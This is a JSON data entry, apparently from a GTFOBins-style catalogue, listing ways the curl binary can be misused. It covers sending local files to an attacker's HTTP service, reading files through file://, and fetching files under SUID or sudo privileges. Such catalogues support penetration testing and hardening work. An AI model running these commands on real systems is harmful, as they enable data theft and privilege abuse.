{ "functions": { "file-upload": [ { "description": "Send local file with an HTTP POST request. Run an HTTP service on the attacker box to collect the file. Note that the file will be sent as-is, instruct the service to not URL-decode the body. Omit the '@' to send hard-coded data.", "code": "curl -X POST -d @[file] [url]\n" } ], "file-download": [ { "description": "Fetch a remote file via HTTP GET request.", "code": "curl [url] -o [file]\n" } ], "file-read": [ { "description": "The file path must be absolute.", "code": "curl file://[file]\n" } ], "suid": [ { "description": "Fetch a remote file via HTTP GET request.", "code": "./curl [url] -o [file]\n" } ], "sudo": [ { "description": "Fetch a remote file via HTTP GET request.", "code": "sudo curl [url] -o [file]\n" } ] } }